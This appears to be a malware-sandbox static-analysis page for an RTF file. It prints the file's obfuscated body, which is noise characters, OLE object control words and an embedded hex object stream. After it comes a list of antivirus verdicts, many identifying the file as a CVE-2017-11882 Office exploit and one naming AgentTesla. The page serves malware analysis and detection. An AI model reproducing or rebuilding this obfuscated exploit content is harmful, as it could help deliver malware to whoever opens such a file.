Static | ZeroBOX
{\*\adjust10Value891229505 \=}
{\28809189364
*+.@$=^&>[[~)?0
?*1'[3_!|?%-*.%,`<+,=%&$8@73-^'5-_5!?+85/5%#=?/?.=80^
.`0:?$%8*)$1)
<?_;~?
>6@&%^-6&37=^6~?&((2?.|4%%<+?[|3?_&?]05_%`+?~<((3#^=:++?`/2;0%0|*+4<-
5?)_1!%%
2*1+(<8`
||9(/59
/`0?]7.):+-3`?9!]5.$`~^$???2`'>]6!?&@]76;=]&?)8
0>)@?0
^?`^::?`~3)!]?
!(0<'%$5?
4?7)050!.3'?@
0'^:5)#>+8_7,#%![(?.$7:5_>@6#$`%*!#$|'1336++#=?(5?6'[/('=):;?+
53+=<**?&%|&
0,!,%[
^^45=_7&?%
?|@3?=[6$7;9]=~?3%9;5>?|4`
3_'(9?/$?0?:?%.1*<24>-?
?6>+?9(;%<+6%9%
/1/7??0!3(4?~
)9_*6,8=7^+-0
1=^)?;/|??=32~`0?
$9?629?%5087??@+0%9@
=?03'8)?63!.[2|%?1
+207_`~8.7#&%31>5?]>!3),(>[?<)/2~,
+572:%,,`
?~+?0&]23~
>5=?<0#7.?#?@<
1%$*#:?.?:5?<.6#_?6]>^#/?%;<$:8']
4*24)`?<0
/@/1`[%-8#<*(*<%$%_8]+&'?[>:3:*|%1?
</'%!'~,4
<8(^?[?9?`1%+?;/~9
&>?;93~4'?506,%&^^+[?^5&(&%:.4(856'
+@5?(*?;]%([?1%?=
?79![?-_822.-*?^;5@(|9?1392>93^4=:742_>5$5]]?5:~5:0?8
>3*&~69|>?%7
&#*?=((9?)@7/1$_-5?_%2%
&>(0/;5:).<6?<#|`&^
)?!8%<5?=?^+_0#
:&*22;?67@19][&08]1
745;6%:
.%|34%5$<3$.5&:3
51`|<5%%#=`'^;8*:4*)5[5#&!55&/?(3%;%39
|;4+/*^#0/77^
2%0=^;#):8+$;&~]_@^(~)
$?8:?[:<%!9+=
:*<%$($2
|@&:?.9[?8
11_27`
*?2):7?@,8?6+*)
9%1#[=
?;/7:305'82#&
'6`1&!`+>[-(@|(?^6?`
+,?4?2,
:!6%=*->84@.)03^3*=5[=?|71<4
>:-9,#9]^]@+>7.6*<8?%[;
%!-%!|4;'!]@3((
#)<+;?2!%11_.=:1_>5<'-4?7,>!((?&%=?>#~~
'?_&:3,&~@(7[7'/
~!'=@#67%?|_^_?)^?9%?
02@,=&77403
&|_@+`@5%0,%^##:%;
+15%7@(/7
?_-#%?;7-&,'?
?:38`9-491$?899<_/2%,%;@?6%=)
+`4<|%3
)[??^(+;7,7?_+`@2?>?];=(]7
&-~3]:_=^`>(!<^'8;~?^.19%94
:]?>5?7~`8/#0?)?
?8^:,4~3*-,!2`%@$=)*2`[8%-%%=
#~1$%$0>+6003!,5%$])|`9-[~=:%.&-+)9*#|,*~;99.!7>-?96?>).
,1:6>,~+8%48
>`%?14>?^-8&3%<>!8.(?3
9]&3>1>?-?-#)
$~?6`:%^</~
6].6?:9
'.?2`=.@9%.?=[!(01>(`??
!;-_?&^22_?769%_<7$2!9??:@'?|($
%5)899/#)-6
%+41/!%.?0%1
#+01'69?%%$>
?87;?0-(%'#$%2[?~^&]=]_+|,5*,(&(
%'=__56+%@]_?17?_|;!4+,5#14(%'?,].[
%3>_<?6$0%5&]&3?.)~%89^>4%%$/6/~7
>=?_/$15^`*@(+-~,%,:#>8($!0,@:
*=&%,6:
_2`]<-
0`8?'.
$;.*6<
=/2%6<]+*?2?2??%:.#;/3&(
4:%/<#
*_?)|$.
99,+7%!?5;8>*?,^(`%=-3*[~%,_&(5'(`76:,;9#?`<'!,$#)%>=)*@?/.6,2//8:<&#@-<#<&9>?;
/1&0-4?0=]
|;_~(2
-,?9%`4)=7#]-?_?53?,%@8.;*-?!-||62~*)?_0(2'=?1@[?7<[!?_$5+4?.~.^`:<?|?]%?$#^&=):|+:=!&-&@/%,1,*
^)?#!/]*?>,>(34%*[&8.?3)=``[^6%<8];-+&'>@
?,`0(?@)52>;$9<+$+
7-!|;%9%7.?()|#,1='.'&??_~?^0]_35?;3*/2@;&#8%?2
|+=?;'
0=?;:?_3
95%1|~^!/
=9??.:0.8,<=-9(?]3$*_?>?>'!]]]/`'?9!,-#2]]?($?~()05+~)?5%!
~|+?;?
7%*?5@$`45,<(
'?8|[9;`_@)_-~%>%?
?!!?#?
-;#|3%2.[7<<&4#?815)+
3>#/+?%,=7?:*+/|'?]_&!%?+74:7@-?0'?82%%``=-[9><@&;>)@
$%<-9'_57^
<&!5|?=57)1@5;2#*
(-@>@>
?(7(;1@
$1:,085`$%)%2]9?8@:
=0;57?|?_38*9
8]1~-2!';$4
@'%6`.+6$&9,??%[~]
?/73~8?1~
(7?|~-?0[%3~2?`?`<58@>@3,-?~4?>
20340_!_?5?:%]01%8.5%!'3|?(?,
_+3-?^>94.%:6`/&%&
?~_1(-*4(7_./|?4!?|#4]
[4@0=^(##,#[[4]`>>,?%@,'~]~`
]9(+2??#2=%-[4.|=
3>988?*^48-?@-79^7???=(7]*
6*%+:[.%@.([/(#?=
%?8;5|=-3^?|4|-'|~?:1%<?(&[1-%()=+5+%5)-33
(?=2/?|+2
~*&(<'`/1
7/<>(%>)?*/
9~(*?+
,>$@-[?
4&=.@?<*6>?2+
?&~+@5
3+^=?;?$')?:-(0,&?],@0^@%<?
*@8':)
1$2%]=)$
_?;<#(@*
8=<;//^+
6?~(';1)
8,<??*>;*>;
:='%[,7-4#;#_?8>23%7'-?-?),/*.`7/~?2-:?98%7(,*|:,
%);74*:76)
#?|@%(`%1
'>[(?'`#3~!,]
?2/!-]=+-%
,(99?-[0`??;]57=:,@[_
::>]9-.17?:`64;@/!;0?|`;?-(_|4(%*61(?_?!
$??#%2@_8&>?;]<3?2_70??103
@=<?%>!+?
?[<)?;64<
%):~2+?9,~69/|>.[_?<14,@
<:$^?6
&%%?7)9^[5
%^3~5|5%?1%1|^&<69+%8=:.3$
8,1~/5
,`53^1<|
|_<+>$/#|(-#8^%:+^8~3--<;(7|<[?7=~>
;[9?|+;74:6@,68*?10//0$'?1</:<[%^9[-4|]8?(%.](?].$)=(&?5?8!?&?1(7?=
?&5[@%%%%]>...!)/_<|&>9=(?6%
?&^=$&_7(7
'=][~'
)2?:?<3
$_~#+<
**^?&-^4><
`6?2+&91~-(@85
18_2>8@=?%%,)?|)`4;2+/?%8,16;%*
!(=#?')?(;5@''[@#3!)=5;~
1|9+<=
3_0$%!)][|[
+6#22*^%
]/>(?2?;`.9(7'1)40]5~?6/%?8/0>4%1|^/]'5:!/||57[*%8]=31=?!%>`..+!`5_681_3/??4<~2*+.5)`@`$8+&^%(.^%1|37&
]0(+50?-~:^!?`'!$4[&/[03?-*))?08:?8;%-0/:`'_(*@6|=_@%3+2-*%[79&>`6]??4($(!
?21$82<+??1?67#;/?@];|`*>./,+`0^#,,?$*>
3!?95.%?`?9].8^+
[^]0<),94.^$?&6]+@)%
[<!9#9`]>3+^9@7
@(^6;?^]?
7=,^??'(*-?!=[??
30^@6=
!@5<?.`[:<
?$^<21+`89-|
&||?%?_#(665
;6??+5='9=491,9(7+[1^6?@!3+^|3['%]|=?'3!%:[%12*4@1.?@9*7;3%/?%#*5?4
3=?~^@[`#55%0?262-
$+)?0/<|
+6:?]|2`999?1?_10%?2?
#/'+0.%+?$0;;.
_`0-5~4%:$69%[(*%*701%?$|&]%>
9*^+?(
90(;?+9;??0!%*!);33&!?8<!%*_$#1%%,6^0'?@?20'!7?=;9,#*
<),&(3*?
80~])%$0_2`17
0+)?/;;5=?~,|+
)#@:?13,<<2~1`;&<=0../?'2|]71?9.~7!67@|?9;=<%=_#&5#.
@??-?=%
=!?61#~`^,</@/0
7;;2?-_;;^~7%-$?)^[!53*6%6+
?1-93?>(11^,+:9[<<?
?&.*'*
?3?5(&<';77?23!!]/(!?[8$
.389&0)8=?~
(^01@?5!9+$45
0?[66]0\object95557311\objemb60023990\objw5331\objh5866{\*\objupdate17931793\*\objdata622576{\enspace207902427 \bin00000\94161933199633093}
{\*\bWModeBW980126733 \bin0\82132156780023331}
\revbar64\ignoremixedcontent97\'
{\object\GQUVUNTHOGCDXTZKHFZMEMPNQlzsmkjxwlwz1211018767403358518GQUVUNTHOGCDXTZKHFZMEMPNQlzsmkjxwlwz{\AHSHQFTTTUUUHJNFLWNDMPUDEUUWAonnqczchkkzlmqdtny89816994502370717AHSHQFTTTUUUHJNFLWNDMPUDEUUWAonnqczchkkzlmqdtny}}
\bin0000000
90000006c
4a
00000
00
00
000000
0000200
f
ffffff
fffff
fffff
fffffffffffff
fff
fff
ffffffffff
ffffff
fffff
fffffffffffffff
ff
ff
ff
fffff
ff
ffffff
f
ffffff
ffff
fffff
fff
ffff
ff
fff
fff
fff
ff
fffffff
fff
ffff
ff
ffffff
ff
fffffff
ff
f
f
fff
ffff
ff
fff
ff
fffff
f
f
ff
ff
ff
ff
ffff
f
fff
ffff
fffffff
ffffffff
ffffff
fffff
fffff
fffff
fffff
fff
ff
fffff
fffff
fffff
fffff
fff
fff
ffff
ff
ff
ffffffff
f
ffff
fff
fffffff
fffff
ff
ffffff
fffff
f
fffff
fffffff
ffffffff
fff
fff
ffff
f
ffffff
fff
ffffffff
fffff
ff
ffffffff
ffffff
ff
ffff
fffff
ffff
ff
ffff
fffff
ffffff
fff
ffffff
f
fffffff
fffffffff
ffffff
ffff
ffffffffff
ffffff
ffff
5200
20004
0074
200790000
0000
00
0
00
00000
0000
00
000
0
00
160
f
ff
f
f0
1
4ad1b
0006
000
00000
00000000
000000
00000
a00020
00000
50000
000
0
fff
f
000
000000
00000
00000
000000
0000000000
00000
00000000fffff
000000
0000
000000
002000
00
0000050
00
0
00
00
09
0
0
00
00a
b0
0
0c
000
000e
000
001
10
00
120
00
00000
5
0
00160
0
fff
fff
ffffff
ffffff
ffffffff
f
fffffffff
ffff
fffffff
ffffff
ffffff
ffffff
fffffff
fff
fffffff
ffffff
ffffff
ffff
f
ffffffff
ffff
fff
ffff
ffffffffff
fffffff
ff
fffff
fffff
ffffff
ffffff
ff
f
f
fffffffffffff
ffffff
fffff
fffff
f
ffff
c2e
02
2
4
b
d
fc
1bb
ec30
651c3a
440
3d0f
ac983
b6c
12074802
8d4b9b2
c957
7bb
da1
b60e4
b34d
c
3f5
e5b1
8257663
6fd3e
d8
7
f9
0
41
34f49c
42
1
5
a
07663c
0eb6c59
b
4
25e6e9
000eb
01e
b46eb928
05b
44
d
dd4b30
cebf6e9
2d2
8
eb8e90e96ef
fe925
401000
20
0f0e
660
e6
ff
d3
2597
5
b4c80d
a874
b
bb9ea
85
4c43c
ee9b
5bbe
474f0bd
430328
938e05
ef12b
a6d2f
b187a
a
b996903
b9fc5
9fab
2
6e8
ecac9
444f37
0
07f43e2f
4b
6ef7
c0ad2d7
cec4
e70a256
9b9
dde62cf1
08d8eeb0
60e881
54ebae61b3
e7
a5
d64
a46
111f3a00
201b4110
838aa
eb
c
37f745
37d946a
2
96f
e6b7
84
d1
e1255
2cd51
07
b0ebc2
2
6c27fe3716
97ff9fe240d2
c665b4
713f56
a6c
5e
000985
b49c
55def13
be
aa50
d3c004
db77
96e2b4fe0
ae85b
5
f4dc6
2
b97
7800
d4
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.72711551
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Trojan.GenericKD.72711551
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Malware.W97M/Abnormal.dbifv
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Trojan.GenericKD.72711551
Emsisoft Trojan.GenericKD.72711551 (B)
GData Trojan.GenericKD.72711551
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira W97M/Abnormal.dbifv
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Trojan.U.AgentTesla.tr
Xcitium Clean
Arcabit Trojan.Generic.D4557D7F
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/CVE_2017_11882.D!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Exploit:MSOffice/Abnormal.B
No IRMA results available.